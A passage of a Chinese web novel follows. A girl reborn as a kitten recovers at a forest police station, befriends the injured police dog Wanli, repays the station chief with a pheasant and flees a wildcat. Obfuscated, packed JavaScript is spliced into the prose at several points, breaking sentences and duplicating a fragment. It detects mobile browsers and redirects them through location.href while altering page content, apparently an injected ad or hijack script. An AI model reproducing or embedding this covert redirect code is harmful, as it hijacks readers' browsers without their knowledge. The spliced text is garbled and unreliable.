阿五身体一抽一抽,喉头一紧,猫嘴一张,吐了个昏天黑地。 一辆墨绿色的汽车驶出大门。 “呲——” 晕乎乎的阿五抬头,愣愣地瞧着在眼前停下的怪东西。 车门打开。 阿五视线上移,和一双锐利的眸子对了个正着。 阿五转身就想逃,边星遥疾步向前。 软着爪子没跑两步,阿五就感觉皮一紧,随即被一双手兜住了四肢。 一眨眼,阿五的视线就从轮胎拔高到了车门。 阿五呆滞地看向车内,浑然忘了挣扎。 这东西里头竟能塞下大狗和两个人! 后座上马自平正拿着干毛巾,仔细地帮万里擦拭毛毛。 一人一犬齐望向边星遥手中的小猫。 边星遥上车。 万里“嘤嘤呜呜”地低声叫着,摇着尾巴呼唤它的小伙伴。 边星遥瞧了眼万里,想将手里的小猫放到副驾驶座垫上:“差点撞上,好像病了,一起带去兽医站瞧瞧。” 阿五却猛地跳下边星遥的手掌,直冲万里而去,马自平吓了一跳,伸手去捉:“哎,哎。” 阿五躲过了他的手,跑到了万里前腿处。 万里转头,一犬一猫互相嗅嗅,相安无事。 马自平惊讶地嘀咕道:“你们两认识啊?” 万里轻轻“呜”了一声回应,将头放回了马自平腿上,闭上了双眼歇息,它实在太累了。 马自平见状顿时红了眼圈,再没心情去管陌生小猫了,心疼地揽着万里。 汽车启动,阿五没防备这大盒子竟然飞速地动了,吓得一激灵。 万里转过脑袋,用嘴筒子轻轻拱了拱阿五。 阿五这才略微放松地趴在了万里身旁。 边星遥扫过后视镜,不同于往常,将车开得又稳又快。 天彻底黑了,车子驶出冗长的盘山路,进入了流水乡。 4. 第 4 章 “汪呜呜呜!” “万里,听话,不痛的啊。” “嗷!汪!” “莫动莫动!” “嘤!呜呜汪!” 阿五蹲在一袋子饲料上,围观兽医站内的混乱场景。 马自平将万里的上半身紧紧抱在怀中,边星遥按着万里的下肢,一位头发乱蓬蓬的年轻女子正试图将万里绑在手术台上。 万里一会将头插进马自平的怀里,一会又伸出来凄惨地嚎叫。 三人艰难地制住这只大犬,马自平慌乱的喊叫声简直和万里一样大。 女子脑门蹦出了青筋:“哎呀,哎呀,莫喊了!” 也不知是在叫马自平闭嘴,还是万里。 马自平涨红着脸:“不好意思刀医生!” 万里的叫声充满了不安和抗拒,但阿五没有从这些人身上感知到恶意,不好轻举妄动,只得蹲坐在原地。 此时万里终于被固定好,刀医生舒了口气,她对边星遥道:“好了,训导员留下,你出去吧。” 边星遥道了声“好”,走出门外。 门被关上了。 “喵?” 阿五疑惑地歪头,她不能看吗? 边星遥走到小猫身边,低头打量了两眼。这小猫没跑,还挺乖的。不过当时抓住了才发现它脖子上的吊坠,没想到是有主的。等帮它治好了病,还得放走,不好留在所里。 “阿嚏。”阿五一抖,伸爪揉了揉鼻子。 她现在浑身都不太对劲,只想睡觉,可是在这样的陌生环境下,阿五并不敢睡。 刚才进屋时,天色已沉,因此除了他们这一行人,此地并无旁人。 宽大的房子被分隔成了三四个区域,墙上贴了许多贴画,有猪、牛,还有羊。阿五端详着这些动物,长得倒是和她以往见过的差不太多。 这些画旁还密密麻麻写着字,可惜她并不认字。 房间里的味道驳杂,人的、牲畜的,应有尽有。 这里好似是专门给动物看诊的地方。 “汪!!” 万里凄厉的叫声响起,阿五悚然一惊,跳起瞪圆了猫眼:“喵!” 她紧盯住那扇关闭的门,万里痛苦的低叫声不断溢出。 阿五一跃而下奔向那扇门,却听得后头传来了呼唤。她甩甩尾巴,迟疑地转过了头。 边星遥蹲下身,冲着小猫招招手:“小猫,来,不要打扰医生,万里没事的。” 阿五盯着所长的眼睛没动,耳朵仔细听着房内的声音。在万里的哀叫声中,还夹杂着人的哭腔和安抚。 这声音来自一路上抱着万里的那个人。 期间边星遥维持着伸出手的姿势,慢慢靠近小猫。 阿五嗅了嗅他的手。 气息稳定平和,没有攻击性。 万里一直在叫,房里应该不是在杀狗。 外面这人也没有要伤害她的意思。 见小猫往回走,边星遥用手背轻轻蹭蹭小猫的脸,满意笑笑:“好猫。” 说完他四下瞧瞧,搬了只小板凳,坐在手术室的门口。 阿五绕着所长转了两圈,重新回到了饲料袋上趴着。 这里既能看见门,又能观察所长的一举一动,完美的位置。 过了一会,边星遥侧头,就见小猫闭眼,脑袋缓缓下垂,又猛然惊醒抬头。 他摇摇头,有些好笑。 不知过了多久,门终于开了。 边星遥弯腰一把捞住惊醒后想往屋里冲的阿五,又将小板凳放回原处,这才迎向刀医生。 刀医生道:“同志,弄好了啊,等我配个药。” 她疲惫地挠挠头发,让它显得更乱了:“你这猫也带过来,我看下。” “好的,辛苦了医生。”边星遥看向屋内,只见万里的腿、腹部都裹着白色的绷带,身上的束缚已经解开。 马自平走出屋。 见阿五也伸着脖子往里看,刀医生停下严肃叮嘱:“同志,这猫抱好啊。里头的犬伤口发炎了,虽说已经消了毒,还打了消炎药,但还是要和其他动物隔离的。” “坐一个车里没事吧?” “别挨着,回家消毒。” “好。”边星遥点头。 刀医生离开。 边星遥将手中扭动的小猫举起,指指房间,严肃:“不能靠近。” 阿五盯着他的脸看了一会,老实了。 虽然听不懂话,但阿五能看得懂脸色。 房内的大狗是活着的,不让她过去,那她就不过去好啦。 马自平走到边星遥身边:“所长,拿完药就可以回去了。万里的伤口都已经缝好,腿上四针,腹部六针。断腿打了石膏,后续要静养两个月。” 说着他又叹了口气:“还好万里福大命大,我都以为万里要截肢了。” 刀医生听见了,无奈:“闭合性骨折,不用截肢。” 边星遥捧着猫:“瞧瞧你这眼睛肿的,回去拿冷毛巾敷敷。之后给万里多补充点营养,好了,拿完药你们就先回车上。” 马自平焉头耷脑地摸了摸眼睛:“是,所长。” 刀医生已经尽数将药取出,正坐在一张桌案前写注意事项。 写好后,她又将其中的细节和马自平交代了一番,确认对方都记住后,才看向阿五:“来。” 边星遥将阿五放在了桌上。 阿五踩着红色的木桌,嗅了嗅刀医生缓缓伸过来的手。 味道有点刺鼻,除此之外的气味倒也不令阿五讨厌。 那只手移到她的下巴处挠了挠,阿五眯了眼,唔,有点舒服!随即她被刀医生抬起了头,还掰开了嘴。 边星遥在一旁解释:“症状是呕吐和打喷嚏,呕吐物里有没消化完的食物,皮毛是湿的。” 接着阿五又被刀医生捏了耳朵,还翻了皮毛,爪子。 一番操作下来,阿五怔在了原地,这位娘子……在帮她看诊?原来所长带她来此地,是为了看病? 啊,她生病了? 还没等阿五细想,她就被刀医生托着肚皮,轻柔地换了个方向。 一只有着翠绿眼睛,浑身斑点皮毛的狸奴陡然出现在阿五眼前。 阿五一怔,这是镜子? 唔,她现在竟然长这个模样,挺威武的嘛。 阿五压低脑袋,对着镜子做了个龇牙的霸气表情。 边星遥瞥了眼镜子,伸出手。 对外表颇为满意的阿五点点头。 一块灰扑扑的石头随着被扣下的镜子,闪过阿五的视线。 “喵啊?” 阿五呆了。 她不可置信地瞧了瞧镜子,又抬头瞪着边星遥,随即赶忙低头,想去看脖子上的吊坠。 边星遥扣下镜子,听刀医生为他分析完小猫的病情,得知是着凉后,松了口气。 “我去配药。”刀医生转身离开。 边星遥点头道谢。 就见小猫刚冲镜子发完火,又不知怎的,开始和脖子上的项链搏斗。 他叹了口气,伸出手:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201077|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着项链不舒服?我帮你解……嘶。” 边星遥收回带着三道白色爪痕的手。 “哈!”阿五瞧见那爪痕,耳朵背得更贴脑袋了。 刀医生闻声回头。 边星遥随意揉揉,退后一步,颇有些手足无措,不明白小猫为什么突然翻脸:“我不碰你了,别怕。” 阿五炸着毛,烦燥地甩尾,见所长不再试图接近她的坠子,就猛冲向镜子,开始疯狂扣镜子的边缘,试图将它翻开。 脖子上的吊坠位置十分刁钻,无论阿五怎么换姿势,就是看不见。 但那灰扑扑的东西不可能是她的吊坠! 阿五折腾着镜子,呼喊道:“阿娘!阿娘!你们还在吗!” 玉坠定是沾了泥! 这镜子为何竖不起来! “它好像想照镜子。”刀医生一直注意着小猫的动静。 边星遥点点头,谨慎地靠近,小猫顿时停下了所有动作,弓身注视着他。 镜子恢复了原状。 阿五一下子窜到镜子边,眼珠子却左瞟右瞄,一时不敢面对,随后定住。 灰的。 石头。 阿五抬爪擦了擦吊坠,没有任何变化。 此刻阿五只觉她是前天夜里那棵被雷劈中的树,整个人都燃烧了起来。 陪她度过了五载春秋的玉坠呢? 怎会变成这块石头! 她的玉坠可是神物,无惧磕碰,怎么会满是裂缝? 若非这石头的形状是一只躺卧的狸奴,阿五简直不敢认。 刀医生拿了药,还为边星遥拿了瓶碘伏。 她走到阿五身边,观察了一会,干脆地掰开小猫的嘴,将药往喉咙深处一塞,小猫就将药咽了下去。 阿五下意识地舔着嘴唇,胡须却抖如筛糠。 她病了。 难怪她一直觉得身上不舒服,头晕呕吐没力气,还被带来看诊,竟是她病了! 这一切,都是因为玉坠变成了石头! 阿五软着爪子去翻吊坠:“……阿耶,阿娘,你们还在阿五身边的,对不对?” “求你们了,理理阿五吧。” “阿五如今腿好了,会比以往更有用的。” “阿五还能抓鸡,以后我们再也不会饿肚子了。” 坠子被翻了个面。 阿五盯着镜子,不敢再动。 这黑点…… 原本的吊坠通体莹白,其上没有一丝杂质。 如今竟多了四个黑点。 “咦?怎么哭了?”边星遥担忧地注视着小猫,“刀医生,你看看,是不是哪里有问题啊。” “啊?我看看,刚才检查它的眼睛没什么问题的。” 刀医生又将小猫检查了一遍,困惑地拧了眉头,喃喃道:“眼睛不红,分泌物也很少,应该就是着凉感冒了,没有感染病毒啊。” “镜子看久了?”边星遥猜测。 “有可能。”刀医生思考了一会,继续将手中的注意事项补充完整,交给边星遥:“吃药的注意事项都在这上面了,顺带注意观察,如果眼睛变红,身体温度高,赶紧过来看。” 边星遥接过药和纸条:“好的,这么晚了,辛苦医生了。” 刀医生摇摇头:“没事。” 马自平和万里早已回到了车上,边星遥付完钱,先拿出手帕为小猫擦去泪水,这才走出兽医站,将手中魂游天外的小猫和药都放在了副驾驶。 一行人和刀医生告别,返回了森林派出所。 5. 第 5 章 天光破晓。 昏暗的室内,边星遥睁开眼,抬手撩起蚊帐,往地上看去。床尾,一只小猫双爪交叠地卧在纸箱做成的窝里,正抬着脑袋,睁着双圆溜溜的眼睛瞧他。 边星遥微微一笑,这小猫还挺警觉。 他伸出一只手拉亮了桌上的台灯,瞧了眼手表,掀开被子下了床。他迅速收拾好自己,又将床上的被子也叠起来。 阿五专注地瞧着台灯。 边星遥瞥了眼灯,蹲下身揉了把阿五的脑袋:“走了,早饭我等会带给你。” 阿五听他叽里咕噜地说了什么,突然觉得听不懂人话有些麻烦。她盯着所长关上灯,又注视着他离开房间。 屋外的动静逐渐变大。 屋里却静悄悄的。 阿五站在还带着暖意的窝里,环顾四周。 这是一间不大的房间,靠墙摆着一张床,床边是一张红木桌子并一把凳子,门旁还有个大柜子,和床一样瞧不出材质。 作为这宅子的主人,这房间简陋的出乎阿五预料。 她还以为能瞧见满屋的金银玉器和绫罗绸缎呢。 阿五动动耳朵,离开小窝,轻巧地纵身上跃,一个二连跳,借着凳子上了桌。 刺溜—— 阿五四爪乱滑,艰难地稳住了身形。 脚下是一块覆盖在木头桌上的透明桌面,表面冰凉,还滑溜溜的。阿五站在原地没敢动,而是小心翼翼地踩了踩,这又是一种她没见过的东西。 阿五的目光在桌上扫过,落在了一面镜子上。 她双眼一亮,挪动到了镜子前。 接着她往镜子前一坐,然而镜子里黑乎乎的,什么也看不清。 阿五转身直奔会自行发光的“烛台”,学着所长抬爪拉绳。 “噼啪——” 灯光亮起,阿五眼睛一眯,真亮啊!这烛台实在太方便了。 她瞧够了烛台,就又回转到了镜子旁。 石头吊坠上,那四个黑点还在原处。 阿五愉快地甩了甩尾巴,轻声喊道:“阿耶阿娘,阿兄阿姊,早上好。” 昨晚瞧见黑点时,阿五就知道了,这就是她阿耶阿娘,以及阿兄阿姊的魂魄。 是玉坠在变成石头前施展了神通,将他们的魂魄收在了其中,以实现她死前许下的愿望。 一家人永远地陪着阿五,再也不分开。 阿五想,既然当初阿娘能出声将她唤醒,那以后也能再次醒来和她说话的。 因此本欲远离人类的阿五,为了养病,昨夜选择了留在此地。 只是这块石头坠子已然布满了裂缝,阿五担心它会彻底裂开。 可她现在也没有更好的方法保护坠子,以后也只能处处小心,以免磕碰到吊坠。 眼前的帘子随着一阵微风轻轻鼓动。 阿五好奇地抬起头,这后面是窗户?阿五小心地绕过桌上摆放的其他物什,用爪子撩开帘子钻了进去。 茂密苍翠的大树,灰蒙蒙的天空,被一格格分开,清楚地倒映在阿五眼底。 阿五瞪圆了眼,凑到窗户前用爪子摸了摸这透明的窗户。冰冰凉凉的,很滑溜,与桌子上覆盖的东西极像。 看上去很贵!果然大户人家! 这个世上竟还有这样透明的窗户。 窗户开着,是边星遥特意为小猫留的,方便它进出。 微风吹动了阿五的毛毛,却并不寒冷,反而带来了些微的暖意。 风还顺便带来了食物的味道。 阿五轻轻晃动了几下尾巴尖,她也该去觅食了,等吃饱了再回来。 昨夜的药丸还挺有用的,今早一醒来,阿五就觉得头不怎么晕了,身上也有劲了。 这里的人真聪明,只需要吃药丸,而不用喝那苦苦的药汁子。 当初她还是人的时候,为了腿可是喝了好久的苦药呢。 阿五转身钻了回去,出门前得先把烛台灭了。 只是她还没走到烛台,就被三张扁扁的笑脸骇地倒退了几步,直撞到身侧的书架上才停下。 鬼……鬼吗? 阿五靠在书架上,闭起了眼。 “我……我身上也有鬼哦!有四个!你只有三个,打不过我!” 阿五喵呜喵呜。 周围静悄悄的。 阿五缓缓睁开一只眼,往书桌边缘一瞟。 那三个人依旧笑脸盈盈地躺在桌上,阿五猛然把眼睛一闭,接着纵身一跃,冲向了三人。 “喵嗷!” 尖利的爪子与桌面相接,发出刺耳的摩擦声。 阿五尾巴一甩,稳住身体,回身瞪着桌面。 不对,这似乎是画像? 阿五埋头打量,唔,还真是一张画纸。 这画夹在了透明桌面和红木桌面之间,上头画着一男两女,笑容灿烂,三人的面容与真人别无二致。 啊!这是所长吧!画像上瞧着要年轻些呢,阿五确认了这不是鬼,倒也有心思细细观摩了。 另外两位娘子应是他的家人,三人长得颇有几分相像。 只是这画里怎么只有一位郎君呢?阿五心里有几分不解,但旋即就将这念头放了过去,只余满心羡慕和渴望。 她也想和家人拥有一张这样的画像。 咕噜噜—— 阿五的肚子发出了饥饿的呼唤。 她恋恋不舍地离开了画像,灭掉了烛台,钻出帘子,从窗户间的缝隙跳下了地。 先找点蚂蚱之类的垫垫肚子吧,阿五低头在地上嗅嗅,又抬头望着天空中掠过的鸟,舔了舔毛嘴巴。 太阳在天空中探出脸。 边星遥回到房间,房内已经没有了小猫的身影。 也不知道这猫崽还回不回来,治感冒的药还得吃上几天,边星遥叹了口气。 阿五已在偏僻角落的一棵树上享用起了她的大餐。 万里应该也吃完饭了吧,阿五吃完饭,低头舔舔毛收拾仪容,决定回去前先去探望万里。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201078|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想到这,阿五举着前爪忽地愣住了。 以前从没有人来找她玩,阿娘因怕玉坠的事被别人知晓,并不喜欢她出门。偶尔只有阿姊有空时,会趁阿娘不在,抱着她到门口坐一会,和街坊聊聊天。 但她现在竟然有朋友可以探望了! 这种感觉真奇妙,阿五雀跃地下了树。她四处嗅闻着,循着味道寻找万里的住处。 阿五来到了一间带院子的平房外。 “汪,汪!” 门内传来了两声犬吠。 接着马自平的声音就响了起来。 阿五心中一喜,看来找对了。 门没有关,阿五来到门前往里看。 万里躺在院子中的软垫上,阳光洒落在它的身上,瞧着暖融融的。 此刻它正颇为激动地冲着门口的小猫吠叫,试图起身迎接小伙伴,而拿着一块毛巾的马自平则按着万里不让它乱动。 “万里,停!不准动啊,你现在得静养!”马自平见万里安分下来,回头一扫,瞧见了小猫,顿时如临大敌,“你不准动!不能进来!” 阿五留意着马自平的神色,蹲坐在了门口:“喵呜~” 我不进去,放心吧。 马自平见阿五坐下,没有进门的意思,稍稍放了心。这一早上,他感觉自己已经对所有来探望的人说过“不准进来”这话了,这下连猫也没放过。 马自平叹着气将毛巾重新盖回了万里的脑袋上。 万里瞧不见阿五,脑袋一动,又将毛巾掀了下去。 “晒太阳是好,但眼睛晒着不舒服的嘛。”马自平幽怨地回头瞧了眼阿五。随即他认命地找了个角度坐,用身体替万里挡光,以免打扰万里和小伙伴的会面。 马自平瞧着裹成粽子的万里,此刻正和小猫“汪汪呜呜”地开心交流,心中尽是失而复得的庆幸。 当初连里的警犬退役,申请新警犬的报告却迟迟没有回应。所长去问,只说是警犬基地百废待兴,得等。 眼瞅着新犬到岗之事遥遥无期,可巡逻路上又实在缺不得警犬。 作为警犬训导员的马自平只好在周围的村庄寻摸了一圈又一圈,在老乡们的帮助下挑了七八只当地的田园犬训练,最终只有万里考核通过,留在了所里。 这一年多以来,万里也没有辜负大家的期待。在巡逻路上帮着抓走私分子,警戒野生动物的袭击,实在是一位尽职尽责的战友。 “喵呜~” 想得入神的马自平回神转头,只见小猫起身冲着他们叫了一声,抬腿就走了。 万里“嗷呜”着回应。 “你听得懂猫语啊?”马自平挠挠头,拍拍万里,又道,“你这个小伙伴还可以嘛,晓得来探病,不错哦。” 万里:“嘤嘤哼哼~” “好啦,你在这里晒太阳,不要乱动,我洗完你的饭盆就回来陪你。” “汪~” 阿五走在树荫下,听着身后的人声犬吠,好心情地甩了甩尾巴。 6. 第 6 章 阿五从窗台返回房间,闻到了食物的香气。 在她的小窝旁,水碗边多了个小碗。阿五跳下桌子过去一瞧,里头是一个被掰成小块的水煮鸡蛋。 这蛋是给她准备的? 给猫吃鸡蛋? 如此奢侈? 阿五舔舔嘴巴,狐疑地左右看看,到底还是抵不过诱惑,凑了过去。 自从变成猫,她还没有吃过熟的食物呢。 阿五珍惜地小口吃着,决定将剩下的蛋留到晚上饿了吃,那样就不用出去捕猎了。 打定主意后,阿五张嘴打了个大大的哈欠,回到了窝里躺下。 饱着肚子美美地进入梦乡前,阿五砸吧两下毛嘴巴,决定要为所长捉一只最肥最大的山鸡作为报答。 太阳逐渐升至最高点,炽烈的阳光照着大地。 哒哒哒哒,脚步声渐近。 刚才还睡得四仰八叉的阿五立刻睁开眼换了个姿势,这脚步声不是所长的。 “嘎吱——” 门开了。 “咦,小猫你在啊。”端着个碗的马自平从门口探出头,笑着和阿五打了招呼后走进了屋,“吃午饭了,所长带队出去巡逻了,托我给你带饭。” 马自平在阿五身旁蹲下:“啊所长把鸡蛋给你了呀。” 他索性将碗里的饭倒进了装蛋的碗里:“这个虽然是万里的饭,但你也是能吃的。搅碎的肉,拌了肉汤和营养粉,啊对了还有你的药。” 阿五的一双眼睛已经掉进了饭里,但还是在这一连串话中捕捉到了“所长”和“万里”这两个关键词。 马自平嘀嘀咕咕地说完,又冲阿五道:“好啦,我得走了,要回去给万里喂饭,拜拜。” 门关上,房间又恢复了宁静。 阿五趴在原地没有动。 她有点受宠若惊。 甚至生出了一点在这里长住,白吃白喝很不错的心思。 霸道的肉香味弥漫,绕着阿五转啊转。 但他们对猫这么好做什么? 这宅院里有老鼠? 找时间去寻寻看吧,阿五迅速从窝里出来凑到了肉粥旁。 吧唧吧唧,好香! 唔,这难道是万里每日都能吃到的饭吗! 每根毛毛上都挂满了羡慕的阿五埋头大吃,直将饭盆舔得干干净净。 接下来几日,阿五就过上了一日三餐、饭来张口、还有肉吃的神仙日子。 早饭是所长的水煮蛋,午饭和晚饭则是马自平送来的肉。 阿五简直乐不思蜀。 每天阿五都会去探望万里,万里被马自平照顾得无微不至。 好像万里并不是一只犬,而是马自平的孩子似的。 阿五也时常会在门外遇见探望万里的郎君,他们每个人看着万里的目光也都充满了善意。 不过阿五觉得这里的人充满了谜团。 她甚至不知道这宅院的人以何为生,但他们每天都很忙碌。 不过这与她无关,阿五虽然好奇,却克制着自己不去探究。 她总归是要回到山里去的。 哎,还真有点舍不得肉汤呢,阿五趴在窝里有些遗憾地想着,但她的病已完全好了,饭里的药味消失,是时候该离开了。 只是所长还没有回来,她想和他告个别再走。 短短几日,边星遥已完全适应了房间里有只小猫存在。 这小猫虽然才三个多月大,但是一点也不闹腾。 不抓东西,不捣乱,也从不乱叫,但不喜欢人摸。 特别宝贝它的吊坠,日常喜欢照镜子。 边星遥想到这里,嘴角漫出了微微的笑意。 他伸手打开门:“我回来了。” “喵呜~” 你回来啦。 阿五从窝里站了起来,绕着边星遥转了两圈,接着跳上了书桌。 边星遥笑着用手背蹭了蹭小猫的脸颊。 “喵呜,喵喵喵。” 这些天谢谢你的照顾,我要走了。等过几日,我抓到大山鸡了,再回来找你。 阿五郑重其事地站在书桌上,向所长告别。 边星遥也察觉出了一点奇妙的氛围,因为往常小猫并没有这么多话。 阿五当然知道所长听不懂她的猫语,不过道别是她的事,不可以不告而别。 她转头跑向窗台,窗户半开,有微风穿过。 月色当空。 风吹动了阿五的毛毛。 身后传来人类的呼唤。 她顿了顿,毫无留恋地跳下窗台。 边星遥几步来到窗前向外看去,小猫的身影已消失在了屋外。 边星遥扶着窗框,怅然若失。 原来小猫在和他告别,是要回去找主人了吗? 离别总是让人这么伤感。 希望你早点找到主人。 边星遥笑了笑,欲将窗户关上,但到底还是收回了手,如常地拉起了窗帘。 清晨。 马自平打着哈欠推开厨房门,目光扫过地面,怔在了门口。 “怎么了?堵门口做什么?” 拿着牙刷缸子出门,打算洗漱的教导员舒瀚海疑惑。 “老鼠。” 刚出宿舍门的其他警察听见这话,火冒三丈,四处开始寻找扫把或其他趁手的工具。 “什么!!好你个杀千刀的老鼠,晚上霍霍粮食还不够,敢白天出现了!兄弟们操家伙,今天必须弄死它们!” 马自平赶忙补充:“不是,是死老鼠。” “哈?” 警察们哑了火,面面相觑。 一只猫若是想在山中寻一个地方栖身,实在不算难事。 但这个地方要像人住的屋子那样能遮风挡雨,却也没有那么容易。 阿五寻来寻去,思及大树会被雷劈,便回到了之前找到大狗的瀑布处,山壁的凹坑住上一只猫绰绰有余。 当初阿五拖来给大狗挡风的芭蕉叶早已消失无踪,她费了九牛二虎之力,从树上咬了一片下来,拖到了窝里当作被子。 太阳早已升至半空。 忙碌了一晚上和一早上的阿五团在又冷又硬的石头上,身上盖着叶子被,听着哗啦啦的瀑布声,忽的有些寂寞和迷茫。 她现在变成了猫,也没有什么事好做,什么东西需要学了。每日只需要思考捕猎,填饱肚子,等阿耶阿娘他们醒来这几件事就够了。 可她以往虽不良于行,在家中也是很忙的,她要尽己所能地做事,帮着阿娘搓麻、学习缝补、烧柴等等。 阿娘和阿耶也从不阻止她做事,他们说希望阿五能变得更有用些,如此才能在他们死后,在这世上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201079|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立足之地。 死是什么呢?那时候的阿五不懂,但现在懂了。 死了就是永不相见。 阿五翻了个身,两只毛爪子按住胸前石头吊坠。 还好他们都没有死。 阿五安心地阖上了眼,耳朵却偶尔动动,警戒地注意着周围的一切动静。 这几天她得养足精神去抓鸡,只捉老鼠是不够的。 距离小猫离开,也有五六日了。 边星遥照常带着民警们上山巡逻。 只是刚出院门,他就被吓了一跳。 眼熟的小猫叼着一只山鸡蹲在门口。 山鸡瞧着比阿五大不少,长长的彩色尾羽拖着地。 边星遥身后的民警们都瞪大了眼,那可是保护动物! 阿五瞧见边星遥,四条小腿倒腾着来到他面前,放下了山鸡:“喵呜~” 前些日子谢谢你的照顾,这是谢礼,请收下。 边星遥怔住了。 阿五说完转身就钻进了林子,消失无踪。 现场鸦雀无声,边星遥盯着这鸡,沉默不语。 舒瀚海拍拍边星遥的肩膀,有点同情:“小时候听过狐狸报恩的故事,现在竟然亲眼见到了小猫报恩。我算是确认了,前些天厨房里的死老鼠肯定是这小猫的手笔。” 边星遥到底还是拎走了鸡,但没吃,而是在山里找了个地方埋。 “你说那猫崽得花了多大的力气才捉到这鸡的啊。”舒瀚海蹲在一旁看边星遥挖坑。 边星遥手下不停,叹着气道:“肯定不轻松,刀医生跟我说这小猫才三个多月大点。又是家猫,估计刚开始学捕猎吧?也不知道他这几日回主人家了没有。” “哎,你可真够操心的。不过你这坑挖这么深做什么。” “小猫回来要是发现我没吃这鸡怎么办?”边星遥打量了下坑洞,“小猫可没办法理解保护动物的概念,它只会觉得我嫌弃它抓的鸡。” 舒瀚海一愣:“也是,那你再挖深点,猫鼻子很灵的。” 边星遥朝舒瀚海翻了个白眼:“你也帮帮忙啊。” “帮着呢,这不是帮你拎着鸡呢嘛!”舒瀚海瞧着手里的鸡,很是心痛,“放任这猫在山里还是不行啊,这鸡太可惜了,这么漂亮的羽毛。” 边星遥点头:“是我的错,不该放它走的。下次去山里的时候注意一下,能抓就抓回来。” 山中的阿五此刻浑身轻松,报完恩的她正在湖边蹲守,为早饭而努力,浑然不知自己的报恩行为给人类造成了困扰。 她选定的窝位置不错,若是捉不到别的吃的,至少潭水中有鱼,饿是饿不死的。 生活条件是没法和所长那里比,但阿五觉得远离人类总是自在一点。 不过这个瀑布,白天偶尔会有些人路过,阿五一般都会躲开,倒也再也没有像上次一样碰到奇怪的人了。 月儿圆圆,挂在空中。 阿五躺在窝里,盖着崭新的芭蕉被子,寻思明日吃点什么。 是大尾巴老鼠,还是尝试着去捉只小鸟呢? 上次捉到的兔子味道也很好呢。 最近她的捕猎技术好了许多,已经吃到过很多种不同的食物了。 阿五想着想着,思绪下沉,耳边的瀑布声也变得越来越遥远。 今晚没有鸟叫声呢。 7. 第 7 章 黑云慢悠悠地飘过,遮住了月亮。 一双眼在沉沉黑夜中闪着光,大而柔软的肉垫落在地上悄无声息。 坑洞里的猎物发出均匀的呼吸声,猎手猛冲上前,却扑了个空。 阿五早已清醒,身在陌生的环境里,她是绝不会陷入沉眠的,更何况是在危机重重的林子里呢? 芭蕉叶掀翻在地,阿五冲向了水蛭谷的方向。 “呼哧呼哧。” 阿五喘着气,飞奔在林子间。 身后的花斑大猫紧追不舍。 阿五暗叹,怎么又遇到了一只花斑大猫!闻着味,倒不是上次那一只。 但无论是哪一只,她都打不过,得赶紧逃。 树是不好上的,都是猫,那只大猫的爬树功夫肯定不弱。 然而经过长时间的奔跑和躲避,阿五的四肢已感受到了乏力,呼出的气也越来越急。 “嗤——” 阿五的后腿被花斑大猫一爪钩中,疼痛激得她又快了几分。 那花斑大猫却并没有上来补第二爪,而是悠哉游哉地跟在了阿五身后,似乎找到了好玩的玩具。 阿五急速跳过一棵倒伏大树,目光四下扫视,以期寻找到逃命的机会。 花斑大猫的一爪又已追到,阿五险险一个转弯避过,三两下爬上了树。 再跑下去花斑大猫没事,她却要喘不过气了。 阿五一门心思地往又高又细的树枝上爬,可身后花斑大猫爬树也如履平地,比她更快。 阿五见状,咬牙攀上了一根细枝条。 枝条摇摇晃晃,阿五费力勾住,往树梢而去。 呼——呼—— 噼啪噼啪。 夜深风起,大雨忽至。 树枝一沉,阿五突地往下一坠。 花斑大猫上来了。 前方枝条太软太细,她已无路可走。 阿五回头,与同样站在细树枝上的花斑大猫对上了视线。 大猫冷冷注视着树梢上摇晃炸毛的猎物,乌黑的尾巴尖往上一翘。 玩腻了。 雨珠织成密密的大网,将雨林罩得密不透风。 阿五伏低身体,尽力保持平衡。 花斑大猫小心翼翼地往前,顷刻间树枝晃得更厉害了,前方的猎物脚爪一滑,坠下了树。 花斑大猫一喜,凌空扑向猎物。 阿五尽力在空中扭动,调整身姿,落地的一瞬间却没有逃。她返身跳起,冲着花斑大猫的脸就是一爪。 一击得手,阿五迅疾逃走。 不论是谁,想要她的命,都不会那么容易! 她一定、一定会活着,等到阿娘他们醒来,一家人团聚! 阿五在扑面而来的风雨里奔跑,双眼中尽是狠厉。 花斑大猫的鼻子被抓伤,凶性大发,在雨中发狂似地追逐阿五。 阿五的呼吸灼热,脑子却很冷静。 即使她的身上已多了好几道爪痕,眼前也有些模糊。 距离所长所在的宅院,还有漫漫长路。 不能再这样下去。 “呼哧呼哧。”阿五就地一滚,身侧却又被花斑大猫的爪尖划开了一道口子。鲜血洒落在翠绿的枝叶上,倏忽间被雨水冲进了泥土。 她踉跄了两步,眼光扫过,脚步一转如游鱼般钻进了倒在地上的一棵树中。 